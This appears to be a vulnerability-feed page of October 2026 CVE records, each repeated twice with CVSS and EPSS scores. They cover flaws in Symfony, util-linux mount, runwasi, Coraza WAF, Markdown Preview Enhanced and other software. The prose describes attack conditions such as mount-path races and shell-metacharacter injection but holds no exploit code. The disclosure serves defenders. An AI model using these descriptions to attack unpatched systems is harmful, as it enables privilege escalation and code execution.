dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, FieldRepresentation.get_field_default renders a schema-controlled enum field default as an enum member reference after applying case conversion but without validating it as an identifier. Newlines, operators, and punctuation can escape the intended reference and inject constrained statements into the generated module, allowing namespace modification or preventing the module from loading. Version 0.70.6 fixes the vulnerability by validating enum defaults as names.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108383).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108383&date=2026-10-25).
Sources:
NVD CVE-2026-108383: https://nvd.nist.gov/vuln/detail/CVE-2026-108383
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108383&date=2026-10-25
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, FieldRepresentation.get_field_default renders a schema-controlled enum field default as an enum member reference after applying case conversion but without validating it as an identifier. Newlines, operators, and punctuation can escape the intended reference and inject constrained statements into the generated module, allowing namespace modification or preventing the module from loading. Version 0.70.6 fixes the vulnerability by validating enum defaults as names.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Model Context Protocol Java SDK is the official Java SDK for Model Context Protocol servers and clients.
https://kevwire.com/record/CVE-2026-108395
The Model Context Protocol Java SDK is the official Java SDK for Model Context Protocol servers and clients. (Oct 14, 2026).
The Model Context Protocol Java SDK is the official Java SDK for Model Context Protocol servers and clients. From version 0.8.0 through 0.12.0 in the io.modelcontextprotocol.sdk:mcp artifact, from 0.13.0 through 0.18.3 and 1.0.0 through 1.1.3 in io.modelcontextprotocol.sdk:mcp-core, and from mcp-core 2.0.0-M1 through 2.0.0, the Servlet-based SSE, Streamable HTTP, and Stateless server transports read an HTTP request body into memory without enforcing a maximum size. An unauthenticated remote client able to reach an affected transport can stream an arbitrarily large POST body, including with chunked transfer encoding, until the Java process exhausts its heap and becomes unavailable. Authentication, Origin or Host validation, or an upstream request-size limit can reject the request before the vulnerable read. The maintained mcp-core lines are fixed in versions 0.18.4, 1.1.4, and 2.0.1.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108395).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108395&date=2026-10-25).
Sources:
NVD CVE-2026-108395: https://nvd.nist.gov/vuln/detail/CVE-2026-108395
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108395&date=2026-10-25
The Model Context Protocol Java SDK is the official Java SDK for Model Context Protocol servers and clients. From version 0.8.0 through 0.12.0 in the io.modelcontextprotocol.sdk:mcp artifact, from 0.13.0 through 0.18.3 and 1.0.0 through 1.1.3 in io.modelcontextprotocol.sdk:mcp-core, and from mcp-core 2.0.0-M1 through 2.0.0, the Servlet-based SSE, Streamable HTTP, and Stateless server transports read an HTTP request body into memory without enforcing a maximum size. An unauthenticated remote client able to reach an affected transport can stream an arbitrarily large POST body, including with chunked transfer encoding, until the Java process exhausts its heap and becomes unavailable. Authentication, Origin or Host validation, or an upstream request-size limit can reject the request before the vulnerable read. The maintained mcp-core lines are fixed in versions 0.18.4, 1.1.4, and 2.0.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Symfony YAML prior to versions 5.4.54, 6.4.45, 7.4.18, and 8.1.6, Yaml\Parser::lexInlineStructure() recursed through lexInlineMapping() and lexInlineSequence() for every { and...
https://kevwire.com/record/CVE-2026-109413
In Symfony YAML prior to versions 5.4.54, 6.4.45, 7.4.18, and 8.1.6, Yaml\Parser::lexInlineStructure() recursed through lexInlineMapping() and lexInlineSequence() for every { and... (Oct 15, 2026).
In Symfony YAML prior to versions 5.4.54, 6.4.45, 7.4.18, and 8.1.6, Yaml\Parser::lexInlineStructure() recursed through lexInlineMapping() and lexInlineSequence() for every { and [ of an inline collection, without entering the nesting level that the rest of the parser bounds with maxNestingLevel. A document made of deeply nested inline collections, such as [[[[...]]]], exhausted the stack while it was being lexed: depending on the PHP version and its stack settings, the process crashed or the request ended with a fatal error.



Any code parsing untrusted YAML is affected. That includes #[MapRequestPayload] when the Yaml component is installed and the endpoint does not restrict acceptFormat: a single unauthenticated request with a YAML content type is enough.



This issue affects symfony/yaml through v5.4.53, v6.0.0-BETA1 through v6.4.44, v7.0.0-BETA1 through v7.4.17, and v8.0.0-BETA1 through v8.1.5.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109413).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109413&date=2026-10-25).
Sources:
NVD CVE-2026-109413: https://nvd.nist.gov/vuln/detail/CVE-2026-109413
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109413&date=2026-10-25
In Symfony YAML prior to versions 5.4.54, 6.4.45, 7.4.18, and 8.1.6, Yaml\Parser::lexInlineStructure() recursed through lexInlineMapping() and lexInlineSequence() for every { and [ of an inline collection, without entering the nesting level that the rest of the parser bounds with maxNestingLevel. A document made of deeply nested inline collections, such as [[[[...]]]], exhausted the stack while it was being lexed: depending on the PHP version and its stack settings, the process crashed or the request ended with a fatal error.



Any code parsing untrusted YAML is affected. That includes #[MapRequestPayload] when the Yaml component is installed and the endpoint does not restrict acceptFormat: a single unauthenticated request with a YAML content type is enough.



This issue affects symfony/yaml through v5.4.53, v6.0.0-BETA1 through v6.4.44, v7.0.0-BETA1 through v7.4.17, and v8.0.0-BETA1 through v8.1.5.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Symfony Expression Language versions prior to 5.4.54, 6.4.48, 7.4.21, and 8.1.9, the parser of the ExpressionLanguage component built its node tree with no bound on its depth.
https://kevwire.com/record/CVE-2026-109449
In Symfony Expression Language versions prior to 5.4.54, 6.4.48, 7.4.21, and 8.1.9, the parser of the ExpressionLanguage component built its node tree with no bound on its depth. (Oct 15, 2026).
In Symfony Expression Language versions prior to 5.4.54, 6.4.48, 7.4.21, and 8.1.9, the parser of the ExpressionLanguage component built its node tree with no bound on its depth. An expression made of tens of thousands of nested unary operators, array literals, binary operators or property accesses crashed the PHP process, while the tree was being freed.


#[Assert\ExpressionSyntax] passes the validated value to ExpressionLanguage::lint(), so an application validating expressions written by its users could be crashed by a single request, and so could any code parsing untrusted expressions.

This issue affects symfony/expression-language through v5.4.53, v6.0.0-BETA1 through v6.4.47, v7.0.0-BETA1 through v7.4.20, and v8.0.0-BETA1 through v8.1.8.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109449).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109449&date=2026-10-25).
Sources:
NVD CVE-2026-109449: https://nvd.nist.gov/vuln/detail/CVE-2026-109449
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109449&date=2026-10-25
In Symfony Expression Language versions prior to 5.4.54, 6.4.48, 7.4.21, and 8.1.9, the parser of the ExpressionLanguage component built its node tree with no bound on its depth. An expression made of tens of thousands of nested unary operators, array literals, binary operators or property accesses crashed the PHP process, while the tree was being freed.


#[Assert\ExpressionSyntax] passes the validated value to ExpressionLanguage::lint(), so an application validating expressions written by its users could be crashed by a single request, and so could any code parsing untrusted expressions.

This issue affects symfony/expression-language through v5.4.53, v6.0.0-BETA1 through v6.4.47, v7.0.0-BETA1 through v7.4.20, and v8.0.0-BETA1 through v8.1.8.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A local privilege escalation vulnerability in TotalAV allows an unprivileged local user to forge the gRPC IPC authentication token, through loading IPC.dll and abuse the SYSTEM...
https://kevwire.com/record/CVE-2026-110746
A local privilege escalation vulnerability in TotalAV allows an unprivileged local user to forge the gRPC IPC authentication token, through loading IPC.dll and abuse the SYSTEM... (Oct 15, 2026).
A local privilege escalation vulnerability in TotalAV allows an unprivileged local user to forge the gRPC IPC authentication token, through loading IPC.dll and abuse the SYSTEM service's within TotalAV to execute arbitrary code as NT AUTHORITY\SYSTEM.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110746).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110746&date=2026-10-25).
Sources:
NVD CVE-2026-110746: https://nvd.nist.gov/vuln/detail/CVE-2026-110746
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110746&date=2026-10-25
A local privilege escalation vulnerability in TotalAV allows an unprivileged local user to forge the gRPC IPC authentication token, through loading IPC.dll and abuse the SYSTEM service's within TotalAV to execute arbitrary code as NT AUTHORITY\SYSTEM.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OWASP Coraza WAF is a golang modsecurity compatible web application firewall library.
https://kevwire.com/record/CVE-2026-41510
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. (Oct 12, 2026).
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.1, Coraza silently drops arguments after SecArgumentsLimit in internal/corazawaf/transaction.go, while internal/bodyprocessors/urlencoded.go writes ARGS_POST without enforcing the cap. The flaw is triggered when an unauthenticated attacker sends more arguments than SecArgumentsLimit or supplies bodies that expand beyond the configured argument and flattening budgets. An unauthenticated attacker can flood requests with arguments so excess values are silently omitted from ARGS, ARGS_GET, ARGS_NAMES, ARGS_GET_NAMES, ARGS_POST, or ARGS_PATH before security rules inspect them; affected urlencoded and JSON processing can also consume excessive memory. The omission can bypass WAF rules protecting the downstream application, and unbounded or amplified argument processing can cause memory consumption and service degradation. This issue is fixed in version 3.8.1.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41510).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-41510&date=2026-10-25).
Sources:
NVD CVE-2026-41510: https://nvd.nist.gov/vuln/detail/CVE-2026-41510
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-41510&date=2026-10-25
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.1, Coraza silently drops arguments after SecArgumentsLimit in internal/corazawaf/transaction.go, while internal/bodyprocessors/urlencoded.go writes ARGS_POST without enforcing the cap. The flaw is triggered when an unauthenticated attacker sends more arguments than SecArgumentsLimit or supplies bodies that expand beyond the configured argument and flattening budgets. An unauthenticated attacker can flood requests with arguments so excess values are silently omitted from ARGS, ARGS_GET, ARGS_NAMES, ARGS_GET_NAMES, ARGS_POST, or ARGS_PATH before security rules inspect them; affected urlencoded and JSON processing can also consume excessive memory. The omission can bypass WAF rules protecting the downstream application, and unbounded or amplified argument processing can cause memory consumption and service degradation. This issue is fixed in version 3.8.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### runwasi facilitates running Wasm and WASI workloads managed by containerd.
https://kevwire.com/record/CVE-2026-47218
runwasi facilitates running Wasm and WASI workloads managed by containerd. (Oct 15, 2026).
runwasi facilitates running Wasm and WASI workloads managed by containerd. Prior to 0.6.1, containerd-shim-wasmtime-v1 can treat Wasmtime precompiled bytes supplied directly in an OCI image layer as a trusted artifact from the precompile-cache path and deserialize them as native code. An attacker who causes a victim to run a crafted image can bypass WebAssembly validation and execute native code in the shim zygote process, gaining the filesystem, environment, credentials, networking, and Linux syscall access available to the workload container. Downstream shims built with runwasi's containerd-shim-wasm precompile-cache API are also affected if they implement Compiler and trust executable precompiled artifacts from OCI image layers; the 0.6.1 boundary applies specifically to containerd-shim-wasmtime and does not independently certify downstream product releases. The flaw escapes the WASI sandbox to the workload container boundary, but it does not by itself bypass container isolation or provide direct host code execution. This issue is fixed in version 0.6.1.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-47218).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-47218&date=2026-10-25).
Sources:
NVD CVE-2026-47218: https://nvd.nist.gov/vuln/detail/CVE-2026-47218
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-47218&date=2026-10-25
runwasi facilitates running Wasm and WASI workloads managed by containerd. Prior to 0.6.1, containerd-shim-wasmtime-v1 can treat Wasmtime precompiled bytes supplied directly in an OCI image layer as a trusted artifact from the precompile-cache path and deserialize them as native code. An attacker who causes a victim to run a crafted image can bypass WebAssembly validation and execute native code in the shim zygote process, gaining the filesystem, environment, credentials, networking, and Linux syscall access available to the workload container. Downstream shims built with runwasi's containerd-shim-wasm precompile-cache API are also affected if they implement Compiler and trust executable precompiled artifacts from OCI image layers; the 0.6.1 boundary applies specifically to containerd-shim-wasmtime and does not independently certify downstream product releases. The flaw escapes the WASI sandbox to the workload container boundary, but it does not by itself bypass container isolation or provide direct host code execution. This issue is fixed in version 0.6.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Code for IBMi is a Visual Studio Code extension for maintaining and compiling ILE languages on the IBMi platform.
https://kevwire.com/record/CVE-2026-49483
Code for IBMi is a Visual Studio Code extension for maintaining and compiling ILE languages on the IBMi platform. (Oct 12, 2026).
Code for IBMi is a Visual Studio Code extension for maintaining and compiling ILE languages on the IBMi platform. Prior to 3.0.1, IBMi components implementing IBMiComponent were accepted after checking that a procedure existed without reliably verifying component integrity. Components installed with broad public permissions allow another local account to alter a program such as GETMBRINFO. A later connection can execute the altered program under the connecting account because the LONG_COMMENT marker alone does not establish integrity. This issue is fixed in version 3.0.1.
CVSS 8.9 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-49483).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-49483&date=2026-10-25).
Sources:
NVD CVE-2026-49483: https://nvd.nist.gov/vuln/detail/CVE-2026-49483
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-49483&date=2026-10-25
Code for IBMi is a Visual Studio Code extension for maintaining and compiling ILE languages on the IBMi platform. Prior to 3.0.1, IBMi components implementing IBMiComponent were accepted after checking that a procedure existed without reliably verifying component integrity. Components installed with broad public permissions allow another local account to alter a program such as GETMBRINFO. A later connection can execute the altered program under the connecting account because the LONG_COMMENT marker alone does not establish integrity. This issue is fixed in version 3.0.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### util-linux is a random collection of Linux utilities.
https://kevwire.com/record/CVE-2026-53612
util-linux is a random collection of Linux utilities. (Oct 14, 2026).
util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53612).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53612&date=2026-10-25).
Sources:
NVD CVE-2026-53612: https://nvd.nist.gov/vuln/detail/CVE-2026-53612
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53612&date=2026-10-25
util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### util-linux is a random collection of Linux utilities.
https://kevwire.com/record/CVE-2026-53613
util-linux is a random collection of Linux utilities. (Oct 14, 2026).
util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53613).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53613&date=2026-10-25).
Sources:
NVD CVE-2026-53613: https://nvd.nist.gov/vuln/detail/CVE-2026-53613
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53613&date=2026-10-25
util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### util-linux is a random collection of Linux utilities.
https://kevwire.com/record/CVE-2026-53614
util-linux is a random collection of Linux utilities. (Oct 14, 2026).
util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged
user to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53614).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53614&date=2026-10-25).
Sources:
NVD CVE-2026-53614: https://nvd.nist.gov/vuln/detail/CVE-2026-53614
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53614&date=2026-10-25
util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged
user to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### util-linux is a random collection of Linux utilities.
https://kevwire.com/record/CVE-2026-53615
util-linux is a random collection of Linux utilities. (Oct 14, 2026).
util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.
CVSS 8.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53615).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53615&date=2026-10-25).
Sources:
NVD CVE-2026-53615: https://nvd.nist.gov/vuln/detail/CVE-2026-53615
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53615&date=2026-10-25
util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code.
https://kevwire.com/record/CVE-2026-54525
Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. (Oct 14, 2026).
Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. Prior to 0.8.28, Markdown Preview Enhanced preview-link handling passes a decoded, Markdown-controlled link target to a Windows file-opening helper that invokes child_process.exec with the start command. When a Windows user opens an untrusted Markdown file and clicks a crafted external or unsupported-scheme link, shell metacharacters in the decoded target are interpreted by cmd.exe as command separators, allowing an attacker-selected command to run with the privileges of the current VS Code user. The attack requires one normal preview-link click but does not require malicious workspace configuration, script execution to be enabled, or additional files. This issue is fixed in version 0.8.28.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-54525).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-54525&date=2026-10-25).
Sources:
NVD CVE-2026-54525: https://nvd.nist.gov/vuln/detail/CVE-2026-54525
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-54525&date=2026-10-25
Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. Prior to 0.8.28, Markdown Preview Enhanced preview-link handling passes a decoded, Markdown-controlled link target to a Windows file-opening helper that invokes child_process.exec with the start command. When a Windows user opens an untrusted Markdown file and clicks a crafted external or unsupported-scheme link, shell metacharacters in the decoded target are interpreted by cmd.exe as command separators, allowing an attacker-selected command to run with the privileges of the current VS Code user. The attack requires one normal preview-link click but does not require malicious workspace configuration, script execution to be enabled, or additional files. This issue is fixed in version 0.8.28.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code.
https://kevwire.com/record/CVE-2026-54566
Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. (Oct 14, 2026).
Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. Prior to 0.8.29, Markdown Preview Enhanced evaluates repository-controlled .crossnote/config.js and .crossnote/parser.js files with vm.runInNewContext, which does not provide a security boundary from the Node.js host realm. Opening a Markdown file in a malicious repository automatically loads these files, and prototype-chain traversal can reach the host Function constructor and process object, allowing operating-system commands to execute as the victim account without further interaction. Both configuration evaluation and parser-hook evaluation are affected, and the attack does not depend on module-scoped require being available. This issue is fixed in version 0.8.29.
CVSS 8.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-54566).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-54566&date=2026-10-25).
Sources:
NVD CVE-2026-54566: https://nvd.nist.gov/vuln/detail/CVE-2026-54566
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-54566&date=2026-10-25
Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. Prior to 0.8.29, Markdown Preview Enhanced evaluates repository-controlled .crossnote/config.js and .crossnote/parser.js files with vm.runInNewContext, which does not provide a security boundary from the Node.js host realm. Opening a Markdown file in a malicious repository automatically loads these files, and prototype-chain traversal can reach the host Function constructor and process object, allowing operating-system commands to execute as the victim account without further interaction. Both configuration evaluation and parser-hook evaluation are affected, and the attack does not depend on module-scoped require being available. This issue is fixed in version 0.8.29.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

